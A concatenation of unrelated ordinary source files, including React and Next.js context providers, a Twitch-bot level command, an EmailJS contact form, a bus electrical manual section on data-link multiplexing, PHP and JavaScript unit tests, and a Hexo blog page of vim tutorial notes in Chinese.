if (link) setLink(link.trim());
setGlobalConf({ ...globalConf, loop, hideBack });
}
setError('Invalid URL.');
})
if (url) setLink(url);
if (player) setActivePlayer(player === 'none' ? undefined : player);
// subscribe to store changes
playStore.subscribe('url', ({ url }) => {
setLink(url);
})
playStore.subscribe('activePlayer', ({ activePlayer }) => {
setActivePlayer(activePlayer === 'none' ? undefined : activePlayer);
})
setPlugin(dytePlugin);
dytePlugin.ready();
}
useEffect(() => {
loadPlugin();
return () => {
if (!plugin) return;
}
}, [])
return (
<MainContext.Provider
value={{
link,
error,
plugin,
setLink,
setError,
globalConf,
isRecorder,
activePlayer,
setActivePlayer
}}
>
{children}
</MainContext.Provider>
)
}
export { MainContext, MainProvider }
|
//
// GameViewController+Delegate.swift
// BubbleHero
//
// Created by Yunpeng Niu on 04/03/18.
// Copyright © 2018 Yunpeng Niu. All rights reserved.
//
import UIKit
/**
Extension for `GameViewController`, which acts as its delegate.
- Author: Niu Yunpeng @ CS3217
- Date: Feb 2018
*/
extension GameViewController: GameViewControllerDelegate {
func stopGame() {
performSegue(withIdentifier: Settings.gameViewWinSegueId, sender: nil)
}
override func prepare(for segue: UIStoryboardSegue, sender: Any?) {
guard segue.identifier == Settings.gameViewWinSegueId,
let winController = segue.destination as? GameViewWinController else {
return
}
winController.navigation = navigationController
winController.levelName = levelName
if let score = scoreController?.score {
winController.score = score
}
}
}
/**
The delegate for `GameViewController`.
*/
protocol GameViewControllerDelegate: AnyObject {
/// Stops the game and pops up when the time is up.
func stopGame()
}
|
import * as chalk from 'chalk';
import { Mm2LevelInfo, Mm2User } from '../../services/mm2Api';
import { ChatMessage } from '../../services/chat';
import { CommandBase } from '../base';
import { TwitchBot } from '../../twitchBot';
import { getDateDifference } from '../../utility/dateHelper';
export class CurrentCommand extends CommandBase<ChatMessage> {
constructor(twitchBot: TwitchBot) {
super(twitchBot);
}
isCompatible = (chatMessage: ChatMessage): boolean => {
return chatMessage.message.toLowerCase() === '!current';
};
execute = async (chatMessage: ChatMessage): Promise<void> => {
const { chatManager, mm2ApiManager, queueManager } = this.twitchBot;
const currentLevel = await queueManager.getCurrentLevel();
if (!currentLevel) {
await chatManager.sendMessage('There is no current level!');
return;
}
let entryInfo: Mm2LevelInfo | Mm2User | undefined;
if (currentLevel.isMakerCode) {
entryInfo = await mm2ApiManager.getUserInfo(currentLevel.levelCode);
} else {
entryInfo = await mm2ApiManager.getLevelInfo(currentLevel.levelCode);
}
const botState = await queueManager.getBotState();
const now = new Date();
if (!entryInfo) {
await chatManager.sendMessage(`The current level is ${currentLevel.levelCode}, submitted by ${currentLevel.username}. (Active for ${getDateDifference(botState.startedAt ?? now, now)})`);
} else {
if (currentLevel.isMakerCode) {
// Maker code resposne
const makerInfo = entryInfo as Mm2User;
await chatManager.sendMessage(`The current level is ${makerInfo.name}'s maker code (${currentLevel.levelCode}) submitted by ${currentLevel.username} (Active for ${getDateDifference(botState.startedAt ?? now, now)})`);
} else {
// Level code response
const levelInfo = entryInfo as Mm2LevelInfo;
await chatManager.sendMessage(`The current level is "${levelInfo.name}" (${currentLevel.levelCode}) submitted by ${currentLevel.username} and uploaded by ${levelInfo.uploader.name} (Active for ${getDateDifference(botState.startedAt ?? now, now)})`);
}
}
};
}
|
import React, { useRef } from "react";
import { Typography, TextField, Button, Box, Grid } from "@mui/material";
import MailIcon from '@mui/icons-material/Mail';
import emailjs from '@emailjs/browser';
const serviceId = process.env.REACT_APP_YOUR_SERVICE_ID;
const templateId = process.env.REACT_APP_YOUR_TEMPLATE_ID;
const publicKey = process.env.REACT_APP_YOUR_PUBLIC_KEY;
function ContactSection(props) {
const form = useRef();
const sendEmail = (e) => {
e.preventDefault();
emailjs.sendForm(serviceId, templateId, form.current, publicKey)
.then((result) => {
console.log(result.text);
e.target.reset();
}, (error) => {
console.log(error.text);
});
};
const textFieldStyles = {
backgroundColor: '#3b444b',
color: 'white'
};
return (
<Grid container id="contact-section" style={{ backgroundColor: "#353839", padding: '2rem' }}>
<Grid item xs={12} md={12}>
<Typography variant="h2" align="center" className="lg-mg-bottom" color="white">
Let's get in touch <MailIcon style={{ fontSize: 50 }} />
</Typography>
</Grid>
<Grid item xs={12} md={12} container justifyContent="center">
<Box
backgroundColor="#414a4c"
borderRadius="16px"
p={3}
width={{ xs: '100%', sm: '800px'}}
minHeight="400px"
data-aos="fade-down"
data-aos-anchor-placement="center-center"
style={{ boxShadow: '0 4px 8px 0 rgba(0, 0, 0, 0.4), 0 6px 20px 0 rgba(0, 0, 0, 0.30)'}}>
<form ref={form} onSubmit={sendEmail}>
<TextField
label="Name"
variant="filled"
margin="normal"
name="user_name"
fullWidth
style={textFieldStyles}
InputLabelProps={{style: { color: 'white' }}}
InputProps={{style: { color: 'white' }}}
/>
<TextField
label="Email"
variant="filled"
margin="normal"
name="user_email"
type="email"
fullWidth
style={textFieldStyles}
InputLabelProps={{style: { color: 'white' }}}
InputProps={{style: { color: 'white' }}}
/>
<TextField
label="Message"
variant="filled"
margin="normal"
name="message"
multiline
rows={4}
fullWidth
style={textFieldStyles}
InputLabelProps={{style: { color: 'white' }}}
InputProps={{style: { color: 'white' }}}
/>
<Button type="submit" variant="contained" color="primary" style={{ marginTop: '1rem', color: '#3b444b' }}>
Send
</Button>
</form>
</Box>
</Grid>
</Grid>
);
}
export default ContactSection;
|
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="../isisxsl.xsl"?>
<isis lang="en">
<stitle>Electrical System Troubleshooting Guide - BE 200, CE 200, CE 300 Model - MULTIPLEXING (DATA LINKS)</stitle>
<svcman/>
<svcsection id="s0829052" division="truck" date="12/14/2004">
<title>MULTIPLEXING (DATA LINKS)</title>
<svcproc svcproctype="describe" graphiccount="1">
<title>Description</title>
<para>The electrical system on the BE 200, CE 200/300 Bus has been significantly redesigned. Unlike the
electrical systems on previous models, which utilized point to point wiring for all input signals and
output loads, this system uses multiplexed wiring technologies to provide control and communication
between major functional areas of the bus. Multiplexing simply means, communicating information through
a small number of wires (called a data link) without requiring a wire for each piece of information.
This information could be gauge information such as engine oil pressure, or switch information that
controls bus functions such as headlamps. The electrical system relies on a collection of electronic
circuit modules and software to perform bus functions instead of implementing similar features using
complex wire harness designs with electromechanical relays and switches. These electronic module
components are connected together by electronic data links. These data links can be thought of as
computer networks that allow the electronic components on the bus to communicate with one another.
</para>
<para>The concept of multiplexing is not new to IC Corporation. Data links for communicating between engine
controllers, the instrument cluster and the diagnostic connector have been used for several years.
</para>
<para>The goal of multiplexing is to reduce cab harness wiring and to simplify circuits. This is
accomplished by using low current data link circuits for communication between cab switches and the
electrical system controller and the instrument cluster. Other data links in the bus allow other
electrical controllers and the instrument cluster to communicate with each other.
</para>
<para>IC Corporation multiplexing uses two types of data links; J1708 and J1939. The J1708 data link is
often referred to as ATA and J1939 is often referred to as CAN.
</para>
<para>There are three separate data links used on the BE/CE Bus.</para>
<randlist type="bullet">
<item>
<para>Drivetrain 1939 data link - This J1939 data link provides a path for communication between the
engine controller, transmission controller, antilock brake system (ABS) controller, pyrometer
ammeter module (PAM), electrical system controller (ESC) and the electronic gauge cluster (EGC)
or instrument cluster.
</para>
</item>
<item>
<para>Switch data link - This J1708 data link provides a path for communication between the switch
packs and ESC.
</para>
</item>
<item>
<para>1708 data link - This is the same J1708 data link (sometimes referred to as ATA) that has been
used in the past. This data link will be used almost exclusively for diagnostics and programming
of engines and other controllers.
</para>
</item>
</randlist>
<para>The heart of the multiplexed system is the
<hotlnk xrefid="f08290301">Electrical System Controller</hotlnk>
(ESC). The ESC communicates with the switches on the switch data link, controllers from other features
on the drivetrain 1939 data link and remote power modules on the body builder data link. It also
receives input from various sensors and hard wire inputs throughout the bus. The ESC converts these
inputs into data to be transmitted on the data links. It is also the power source for circuits that feed
the components, controlled by the multiplexed switches, inside and outside of the cab.
</para>
<figure id="f08290301" figsize="pg-wide">
<graphic filename="../figg08/g08290401.webp" type="webp" scalefit="1" scalefitwidth="392px"
scalefitheight="392px"/>
<caption>Electrical System Controller (ESC)</caption>
<calloutgroup>
<callout1>(1600) 36 WAY SYSTEM CONTROLLER CONNECTOR</callout1>
<callout1>(1601) BROWN 8 WAY SYSTEM CONTROLLER CONNECTOR</callout1>
<callout1>(1602) 36 WAY SYSTEM CONTROLLER CONNECTOR</callout1>
<callout1>(1603) BROWN 8 WAY SYSTEM CONTROLLER CONNECTOR</callout1>
<callout1>(1604) BLUE 8 WAY SYSTEM CONTROLLER CONNECTOR</callout1>
</calloutgroup>
</figure>
</svcproc>
</svcsection>
<table>
<tgroup cols="3">
<tbody>
<row>
<entry>
<para>
<hotlnk document="s08290_37.xml">
<con_previous/>
</hotlnk>
</para>
</entry>
<entry>
<para>
<hotlnk document="s08290_39.xml">
<con_next/>
</hotlnk>
</para>
</entry>
<entry>
<para>
<hotlnk document="s08290.htm" target="_top">
<con_toc/>
</hotlnk>
</para>
</entry>
</row>
</tbody>
</tgroup>
</table>
</isis>
|
<?php
namespace Tests\Feature;
use App\Http\Requests\VerifyUserRequest;
use App\Http\Controllers\AuthController;
use Tests\TestCase;
class VerifyUserRequestTest extends TestCase
{
protected $VerifyUser;
public function setUp(): void
{
parent::setUp();
$authController = new AuthController();
$this->VerifyUser = new VerifyUserRequest($authController);
}
public function testAuthorizationAsUser()
{
$data = [
'status ' => 200,
"identity"=>"user"
];
$jsonData = json_encode($data);
$this->VerifyUser->setJson($jsonData);
$authorized = $this->VerifyUser->isUser($jsonData);
$this->assertTrue($authorized);
}
public function testAuthorizationAsNonUser()
{
$data = [
'status ' => 200,
"identity"=>"admin"
];
$jsonData = json_encode($data);
$this->VerifyUser->setJson($jsonData);
$authorized = $this->VerifyUser->isUser($jsonData);
$this->assertFalse($authorized);
}
}
|
import toLength from '../../fn/Lang/toLength.js'
import lod_toLength from '../../node_modules/lodash-es/toLength.js';
const lod = {};
lod.toLength = lod_toLength;
// Примеры использования
console.log('-----------------lodash-----------------');
console.log("lod.toLength(3.2)", lod.toLength(3.2));
console.log("lod.toLength(Number.MIN_VALUE)", lod.toLength(Number.MIN_VALUE));
console.log("lod.toLength(Infinity)", lod.toLength(Infinity));
console.log("lod.toLength('3.2')", lod.toLength('3.2'));
console.log('-------------------ES-------------------');
console.log("toLength(3.2)", toLength(3.2));
console.log("toLength(Number.MIN_VALUE)", toLength(Number.MIN_VALUE));
console.log("toLength(Infinity)", toLength(Infinity));
console.log("toLength('3.2')", toLength('3.2'));
// Тесты
describe('toLength', function() {
const MAX_ARRAY_LENGTH = 4294967295;
const MAX_INTEGER = Number.MAX_SAFE_INTEGER;
it('должно вернуть правильную длину', function() {
assert.strictEqual(toLength(-1), 0);
assert.strictEqual(toLength(Number(1)), 1);
assert.strictEqual(toLength('1'), 1);
assert.strictEqual(toLength(1.1), 1);
assert.strictEqual(toLength(MAX_INTEGER), MAX_ARRAY_LENGTH);
assert.strictEqual(toLength(Infinity), MAX_ARRAY_LENGTH);
assert.strictEqual(toLength(-Infinity), 0);
});
it('должен возвращать `значение`, если допустимая длина', function() {
assert.strictEqual(toLength(0), 0);
assert.strictEqual(toLength(3), 3);
assert.strictEqual(toLength(MAX_ARRAY_LENGTH), MAX_ARRAY_LENGTH);
});
it('должен преобразовать `-0` в `0`', function() {
assert.strictEqual(1 / toLength(-0), Infinity);
});
it('должен возвращать `0` если передано некорректное значение', function() {
assert.strictEqual(toLength('abc'), 0);
assert.strictEqual(toLength({}), 0);
assert.strictEqual(toLength([]), 0);
assert.strictEqual(toLength(/x/), 0);
});
});
|
"use client"
import { unstable_createNodejsStream } from "next/dist/compiled/@vercel/og";
import React, { ReactNode, createContext, useContext, useReducer } from "react";
type UserData = {
name: string
}
type AuthState = {
isAuthenticated: boolean;
userData: UserData | undefined
};
type AuthAction = {
type: "LOGIN" | "LOGOUT";
userData: UserData | undefined
};
const initialState: AuthState = {
isAuthenticated: false,
userData: undefined
};
const AuthContext = createContext<AuthState>(initialState);
const AuthDispatchContext = createContext<React.Dispatch<AuthAction> | undefined>(
undefined
);
function authReducer(state: AuthState, action: AuthAction): AuthState {
switch (action.type) {
case "LOGIN":
return {
isAuthenticated: true,
userData: action.userData
};
case "LOGOUT":
return {
isAuthenticated: false,
userData: undefined
};
default:
throw new Error(`Unhandled action type: ${action.type}`);
}
}
export function AuthProvider({ children }: { children: ReactNode }) {
const [state, dispatch] = useReducer(authReducer, initialState);
return (
<AuthContext.Provider value={state}>
<AuthDispatchContext.Provider value={dispatch}>
{children}
</AuthDispatchContext.Provider>
</AuthContext.Provider>
);
}
export function useAuth() {
return useContext(AuthContext);
}
export function useAuthDispatch() {
return useContext(AuthDispatchContext);
}
|
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>vim学习 | Juner'Blog</title>
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<meta name="description" content="第一讲小结
光标在屏幕文本中的移动既可以用箭头键,也可以使用 hjkl 字母键。
h (左移) j (下行) k (上行) l (右移)
欲进入 Vim 编辑器(从命令行提示符),请输入:vim 文件名 &lt;回车&gt;
欲退出 Vim 编辑器,请输入 :q! &lt;回车&gt; 放弃所有改动。
或者输入 &lt;ESC&gt; :wq">
<meta property="og:type" content="article">
<meta property="og:title" content="vim学习">
<meta property="og:url" content="http://yoursite.com/2015/08/24/vim学习/index.html">
<meta property="og:site_name" content="Juner'Blog">
<meta property="og:description" content="第一讲小结
光标在屏幕文本中的移动既可以用箭头键,也可以使用 hjkl 字母键。
h (左移) j (下行) k (上行) l (右移)
欲进入 Vim 编辑器(从命令行提示符),请输入:vim 文件名 &lt;回车&gt;
欲退出 Vim 编辑器,请输入 :q! &lt;回车&gt; 放弃所有改动。
或者输入 &lt;ESC&gt; :wq">
<meta property="og:updated_time" content="2015-08-25T15:21:46.000Z">
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="vim学习">
<meta name="twitter:description" content="第一讲小结
光标在屏幕文本中的移动既可以用箭头键,也可以使用 hjkl 字母键。
h (左移) j (下行) k (上行) l (右移)
欲进入 Vim 编辑器(从命令行提示符),请输入:vim 文件名 &lt;回车&gt;
欲退出 Vim 编辑器,请输入 :q! &lt;回车&gt; 放弃所有改动。
或者输入 &lt;ESC&gt; :wq">
<link rel="alternative" href="/atom.xml" title="Juner'Blog" type="application/atom+xml">
<link rel="icon" href="/favicon.png">
<link rel="stylesheet" href="/css/style.css" type="text/css">
</head>
<body>
<div id="container">
<div class="left-col">
<div class="overlay"></div>
<div class="intrude-less">
<header id="header" class="inner">
<a href="/" class="profilepic">
<img lazy-src="https://avatars3.githubusercontent.com/u/12780611?v=3&u=d60d88bc42bf366f29e023d17ee2831c78ed10c9&s=140" class="js-avatar">
</a>
<hgroup>
<h1 class="header-author"><a href="/">Juner</a></h1>
</hgroup>
<p class="header-subtitle">一个医学生的编程梦</p>
<div class="switch-btn">
<div class="icon">
<div class="icon-ctn">
<div class="icon-wrap icon-house" data-idx="0">
<div class="birdhouse"></div>
<div class="birdhouse_holes"></div>
</div>
<div class="icon-wrap icon-ribbon hide" data-idx="1">
<div class="ribbon"></div>
</div>
<div class="icon-wrap icon-link hide" data-idx="2">
<div class="loopback_l"></div>
<div class="loopback_r"></div>
</div>
<div class="icon-wrap icon-me hide" data-idx="3">
<div class="user"></div>
<div class="shoulder"></div>
</div>
</div>
</div>
<div class="tips-box hide">
<div class="tips-arrow"></div>
<ul class="tips-inner">
<li>菜单</li>
<li>标签</li>
<li>友情链接</li>
<li>关于我</li>
</ul>
</div>
</div>
<div class="switch-area">
<div class="switch-wrap">
<section class="switch-part switch-part1">
<nav class="header-menu">
<ul>
<li><a href="/">主页</a></li>
<li><a href="/archives">所有文章</a></li>
</ul>
</nav>
<nav class="header-nav">
<div class="social">
<a class="github" target="_blank" href="https://github.com/JunerMe" title="github">github</a>
<a class="zhihu" target="_blank" href="http://www.zhihu.com/people/juner-me" title="zhihu">zhihu</a>
<a class="mail" target="_blank" href="/[email protected]" title="mail">mail</a>
</div>
</nav>
</section>
<section class="switch-part switch-part2">
<div class="widget tagcloud" id="js-tagcloud">
<a href="/tags/Linux/" style="font-size: 10px;">Linux</a> <a href="/tags/Tornado/" style="font-size: 10px;">Tornado</a> <a href="/tags/flask/" style="font-size: 20px;">flask</a> <a href="/tags/hexo/" style="font-size: 20px;">hexo</a> <a href="/tags/node/" style="font-size: 10px;">node</a> <a href="/tags/python/" style="font-size: 20px;">python</a> <a href="/tags/static-method/" style="font-size: 10px;">static method</a> <a href="/tags/vim/" style="font-size: 10px;">vim</a> <a href="/tags/博客/" style="font-size: 10px;">博客</a> <a href="/tags/测试/" style="font-size: 10px;">测试</a> <a href="/tags/笔记/" style="font-size: 10px;">笔记</a>
</div>
</section>
<section class="switch-part switch-part3">
<div id="js-friends">
<a target="_blank" class="main-nav-link switch-friends-link" href="http://localhost:4000/">奥巴马的博客</a>
<a target="_blank" class="main-nav-link switch-friends-link" href="http://localhost:4000/">卡卡的美丽传说</a>
<a target="_blank" class="main-nav-link switch-friends-link" href="http://localhost:4000/">本泽马的博客</a>
<a target="_blank" class="main-nav-link switch-friends-link" href="http://localhost:4000/">吉格斯的博客</a>
<a target="_blank" class="main-nav-link switch-friends-link" href="http://localhost:4000/">习大大大不同</a>
<a target="_blank" class="main-nav-link switch-friends-link" href="http://localhost:4000/">托蒂的博客</a>
</div>
</section>
<section class="switch-part switch-part4">
<div id="js-aboutme">我是谁,我从哪里来,我到哪里去?我就是我,是颜色不一样的吃货…</div>
</section>
</div>
</div>
</header>
</div>
</div>
<div class="mid-col">
<nav id="mobile-nav">
<div class="overlay">
<div class="slider-trigger"></div>
<h1 class="header-author js-mobile-header hide">Juner</h1>
</div>
<div class="intrude-less">
<header id="header" class="inner">
<div class="profilepic">
<img lazy-src="https://avatars3.githubusercontent.com/u/12780611?v=3&u=d60d88bc42bf366f29e023d17ee2831c78ed10c9&s=140" class="js-avatar">
</div>
<hgroup>
<h1 class="header-author">Juner</h1>
</hgroup>
<p class="header-subtitle">一个医学生的编程梦</p>
<nav class="header-menu">
<ul>
<li><a href="/">主页</a></li>
<li><a href="/archives">所有文章</a></li>
<div class="clearfix"></div>
</ul>
</nav>
<nav class="header-nav">
<div class="social">
<a class="github" target="_blank" href="https://github.com/JunerMe" title="github">github</a>
<a class="zhihu" target="_blank" href="http://www.zhihu.com/people/juner-me" title="zhihu">zhihu</a>
<a class="mail" target="_blank" href="/[email protected]" title="mail">mail</a>
</div>
</nav>
</header>
</div>
</nav>
<div class="body-wrap"><article id="post-vim学习" class="article article-type-post" itemscope itemprop="blogPost">
<div class="article-meta">
<a href="/2015/08/24/vim学习/" class="article-date">
<time datetime="2015-08-24T14:04:54.000Z" itemprop="datePublished">2015-08-24</time>
</a>
</div>
<div class="article-inner">
<input type="hidden" class="isFancy" />
<header class="article-header">
<h1 class="article-title" itemprop="name">
vim学习
</h1>
</header>
<div class="article-info article-info-post">
<div class="article-tag tagcloud">
<ul class="article-tag-list"><li class="article-tag-list-item"><a class="article-tag-list-link" href="/tags/vim/">vim</a></li></ul>
</div>
<div class="article-category tagcloud">
<a class="article-category-link" href="/categories/vim/">vim</a>
</div>
<div class="clearfix"></div>
</div>
<div class="article-entry" itemprop="articleBody">
<h2 id="第一讲小结">第一讲小结</h2><ol>
<li><p>光标在屏幕文本中的移动既可以用箭头键,也可以使用 hjkl 字母键。</p>
<pre><code><span class="function"><span class="title">h</span> <span class="params">(左移)</span> <span class="title">j</span> <span class="params">(下行)</span> <span class="title">k</span> <span class="params">(上行)</span> <span class="title">l</span> <span class="params">(右移)</span></span>
</code></pre></li>
<li><p>欲进入 Vim 编辑器(从命令行提示符),请输入:vim 文件名 <回车></p>
</li>
<li><p>欲退出 Vim 编辑器,请输入 <esc> :q! <回车> 放弃所有改动。</esc></p>
<pre><code>或者输入 <ESC> :w<span class="string">q <回车></span> 保存改动。
</code></pre></li>
<li><p>在正常模式下删除光标所在位置的字符,请按: x</p>
</li>
<li><p>欲插入或添加文本,请输入:</p>
<pre><code>i 输入欲插入文本 <span class="tag"><<span class="title">ESC</span>></span> 在光标前插入文本
A 输入欲添加文本 <span class="tag"><<span class="title">ESC</span>></span> 在一行后添加文本
</code></pre></li>
</ol>
<p>特别提示:按下 <esc> 键会带您回到正常模式或者撤消一个不想输入或部分完整<br>的命令。</esc></p>
<a id="more"></a>
<h2 id="第二讲小结">第二讲小结</h2><ol>
<li>欲从当前光标删除至下一个单词,请输入:dw</li>
<li>欲从当前光标删除至当前行末尾,请输入:d$</li>
<li><p>欲删除整行,请输入:dd</p>
</li>
<li><p>欲重复一个动作,请在它前面加上一个数字:2w</p>
</li>
<li><p>在正常模式下修改命令的格式是:</p>
<pre><code>operator [<span class="type">number</span>] motion
</code></pre><p>其中:<br> operator - 操作符,代表要做的事情,比如 d 代表删除<br> [number] - 可以附加的数字,代表动作重复的次数<br> motion - 动作,代表在所操作的文本上的移动,例如 w 代表单词(word),</p>
<pre><code><span class="variable">$ </span>代表行末等等。
</code></pre></li>
<li><p>欲移动光标到行首,请按数字0键:0</p>
</li>
<li><p>欲撤消以前的操作,请输入:u (小写的u)<br>欲撤消在一行中所做的改动,请输入:U (大写的U)<br>欲撤消以前的撤消命令,恢复以前的操作结果,请输入:CTRL-R</p>
</li>
</ol>
<h2 id="第三讲小结">第三讲小结</h2><ol>
<li><p>要重新置入已经删除的文本内容,请按小写字母 p 键。该操作可以将已删除<br>的文本内容置于光标之后。如果最后一次删除的是一个整行,那么该行将置<br>于当前光标所在行的下一行。</p>
</li>
<li><p>要替换光标所在位置的字符,请输入小写的 r 和要替换掉原位置字符的新字<br>符即可。</p>
</li>
<li><p>更改类命令允许您改变从当前光标所在位置直到动作指示的位置中间的文本。<br>比如输入 ce 可以替换当前光标到单词的末尾的内容;输入 c$ 可以替换当<br>前光标到行末的内容。</p>
</li>
<li><p>更改类命令的格式是:</p>
<pre><code>c [<span class="type">number</span>] motion
</code></pre></li>
</ol>
<h2 id="第四讲小结">第四讲小结</h2><ol>
<li><p>CTRL-G 用于显示当前光标所在位置和文件状态信息。<br>G 用于将光标跳转至文件最后一行。<br>先敲入一个行号然后输入大写 G 则是将光标移动至该行号代表的行。<br>gg 用于将光标跳转至文件第一行。</p>
</li>
<li><p>输入 / 然后紧随一个字符串是在当前所编辑的文档中正向查找该字符串。<br>输入 ? 然后紧随一个字符串则是在当前所编辑的文档中反向查找该字符串。<br>完成一次查找之后按 n 键是重复上一次的命令,可在同一方向上查<br>找下一个匹配字符串所在;或者按大写 N 向相反方向查找下一匹配字符串所在。<br>CTRL-O 带您跳转回较旧的位置,CTRL-I 则带您到较新的位置。</p>
</li>
<li><p>如果光标当前位置是括号(、)、[、]、{、},按 % 会将光标移动到配对的括号上。</p>
</li>
<li><p>在一行内替换头一个字符串 old 为新的字符串 new,请输入 :s/old/new<br>在一行内替换所有的字符串 old 为新的字符串 new,请输入 :s/old/new/g<br>在两行内替换所有的字符串 old 为新的字符串 new,请输入 :#,#s/old/new/g<br>在文件内替换所有的字符串 old 为新的字符串 new,请输入 :%s/old/new/g<br>进行全文替换时询问用户确认每个替换需添加 c 标志 :%s/old/new/gc</p>
</li>
</ol>
<h2 id="第五讲小结">第五讲小结</h2><ol>
<li><p>:!command 用于执行一个外部命令 command。</p>
<p>请看一些实际例子:</p>
<pre><code>(<span class="variable">MS</span>-<span class="variable">DOS</span>) (<span class="variable">Unix</span>)
:<span class="exclamation_mark">!</span><span class="function_or_atom">dir</span> :<span class="exclamation_mark">!</span><span class="function_or_atom">ls</span> - 用于显示当前目录的内容。
:<span class="exclamation_mark">!</span><span class="function_or_atom">del</span> <span class="variable">FILENAME</span> :<span class="exclamation_mark">!</span><span class="function_or_atom">rm</span> <span class="variable">FILENAME</span> - 用于删除名为 <span class="variable">FILENAME</span> 的文件。
</code></pre></li>
<li><p>:w FILENAME 可将当前 VIM 中正在编辑的文件保存到名为 FILENAME 的文<br>件中。</p>
</li>
<li><p>v motion :w FILENAME 可将当前编辑文件中可视模式下选中的内容保存到文件<br>FILENAME 中。</p>
</li>
<li><p>:r FILENAME 可提取磁盘文件 FILENAME 并将其插入到当前文件的光标位置<br>后面。</p>
</li>
<li><p>:r !dir 可以读取 dir 命令的输出并将其放置到当前文件的光标位置后面。</p>
</li>
</ol>
<h2 id="第六讲小结">第六讲小结</h2><ol>
<li><p>输入小写的 o 可以在光标下方打开新的一行并进入插入模式。<br>输入大写的 O 可以在光标上方打开新的一行。</p>
</li>
<li><p>输入小写的 a 可以在光标所在位置之后插入文本。<br>输入大写的 A 可以在光标所在行的行末之后插入文本。</p>
</li>
<li><p>e 命令可以使光标移动到单词末尾。</p>
</li>
<li><p>操作符 y 复制文本,p 粘贴先前复制的文本。</p>
</li>
<li><p>输入大写的 R 将进入替换模式,直至按 <esc> 键回到正常模式。</esc></p>
</li>
<li><p>输入 :set xxx 可以设置 xxx 选项。一些有用的选项如下:<br> ‘ic’ ‘ignorecase’ 查找时忽略字母大小写<br> ‘is’ ‘incsearch’ 查找短语时显示部分匹配<br> ‘hls’ ‘hlsearch’ 高亮显示所有的匹配短语<br>选项名可以用完整版本,也可以用缩略版本。</p>
</li>
<li><p>在选项前加上 no 可以关闭选项: :set noic</p>
</li>
</ol>
<h2 id="第七讲小结">第七讲小结</h2><ol>
<li><p>输入 :help 或者按 <f1> 键或 <help> 键可以打开帮助窗口。</help></f1></p>
</li>
<li><p>输入 :help cmd 可以找到关于 cmd 命令的帮助。</p>
</li>
<li><p>输入 CTRL-W CTRL-W 可以使您在窗口之间跳转。</p>
</li>
<li><p>输入 :q 以关闭帮助窗口</p>
</li>
<li><p>您可以创建一个 vimrc 启动脚本文件用来保存您偏好的设置。</p>
</li>
<li><p>当输入 : 命令时,按 CTRL-D 可以查看可能的补全结果。<br>按 <tab> 可以使用一个补全。</tab></p>
</li>
</ol>
<h2 id="vim_教程到此就结束了。">vim 教程到此就结束了。</h2><p> 本教程只是为了简明地介绍一下 Vim 编辑器,但已足以让您<br> 很容易使用这个编辑器了。毋庸质疑,vim还有很多很多的命令,本教程所介<br> 绍的距离完整的差得很远。所以您要精通的话,还望继续努力哦。下一步您可以阅读<br> Vim 的用户手册,使用的命令是: :help user-manual</p>
<p> 下面这本书值得推荐用于更进一步的阅读和学习:<br> Vim - Vi Improved - 作者:Steve Oualline<br> 出版社:New Riders<br> 这是第一本完全讲解 Vim 的书籍。它对于初学者特别有用。其中包含有大量实例<br> 和图示。<br> 欲知详情,请访问 <a href="http://iccf-holland.org/click5.html" target="_blank" rel="external">http://iccf-holland.org/click5.html</a></p>
<p> 以下这本书比较老了而且内容更多是关于 Vi 而非 Vim,但是也值得推荐:<br> Learning the Vi Editor - 作者:Linda Lamb<br> 出版社:O’Reilly & Associates Inc.<br> 这是一本不错的书,通过它您几乎能够了解到任何您想要使用 Vi 做的事情。<br> 此书的第六个版本也包含了一些关于 Vim 的信息。</p>
</div>
</div>
<nav id="article-nav">
<a href="/2015/08/27/zhuye项目开发笔记/" id="article-nav-newer" class="article-nav-link-wrap">
<strong class="article-nav-caption"><</strong>
<div class="article-nav-title">
zhuye项目开发笔记
</div>
</a>
<a href="/2015/08/24/flask-开发笔记/" id="article-nav-older" class="article-nav-link-wrap">
<div class="article-nav-title">flask 开发笔记</div>
<strong class="article-nav-caption">></strong>
</a>
</nav>
</article>
<div class="share">
<!-- JiaThis Button BEGIN -->
<div class="jiathis_style">
<span class="jiathis_txt">分享到:</span>
<a class="jiathis_button_tsina"></a>
<a class="jiathis_button_cqq"></a>
<a class="jiathis_button_douban"></a>
<a class="jiathis_button_weixin"></a>
<a class="jiathis_button_tumblr"></a>
<a href="http://www.jiathis.com/share" class="jiathis jiathis_txt jtico jtico_jiathis" target="_blank"></a>
</div>
<script type="text/javascript" src="http://v3.jiathis.com/code/jia.js?uid=1405949716054953" charset="utf-8"></script>
<!-- JiaThis Button END -->
</div>
<div class="duoshuo">
<!-- 多说评论框 start -->
<div class="ds-thread" data-thread-key="vim学习" data-title="vim学习" data-url="http://yoursite.com/2015/08/24/vim学习/"></div>
<!-- 多说评论框 end -->
<!-- 多说公共JS代码 start (一个网页只需插入一次) -->
<script type="text/javascript">
var duoshuoQuery = {short_name:"true"};
(function() {
var ds = document.createElement('script');
ds.type = 'text/javascript';ds.async = true;
ds.src = (document.location.protocol == 'https:' ? 'https:' : 'http:') + '//static.duoshuo.com/embed.js';
ds.charset = 'UTF-8';
(document.getElementsByTagName('head')[0]
|| document.getElementsByTagName('body')[0]).appendChild(ds);
})();
</script>
<!-- 多说公共JS代码 end -->
</div>
</div>
<footer id="footer">
<div class="outer">
<div id="footer-info">
<div class="footer-left">
© 2015 Juner
</div>
<div class="footer-right">
<a href="http://hexo.io/" target="_blank">Hexo</a> Theme <a href="https://github.com/litten/hexo-theme-yilia" target="_blank">Yilia</a> by Litten
</div>
</div>
</div>
</footer>
</div>
<link rel="stylesheet" href="/fancybox/jquery.fancybox.css" type="text/css">
<script>
var yiliaConfig = {
fancybox: true,
mathjax: true,
animate: true,
isHome: false,
isPost: true,
isArchive: false,
isTag: false,
isCategory: false,
open_in_new: false
}
</script>
<script src="http://7.url.cn/edu/jslib/comb/require-2.1.6,jquery-1.9.1.min.js" type="text/javascript"></script>
<script src="/js/main.js" type="text/javascript"></script>
<script type="text/x-mathjax-config">
MathJax.Hub.Config({
tex2jax: {
inlineMath: [ ['$','$'], ["\\(","\\)"] ],
processEscapes: true,
skipTags: ['script', 'noscript', 'style', 'textarea', 'pre', 'code']
}
});
MathJax.Hub.Queue(function() {
var all = MathJax.Hub.getAllJax(), i;
for(i=0; i < all.length; i += 1) {
all[i].SourceElement().parentNode.className += ' has-jax';
}
});
</script>
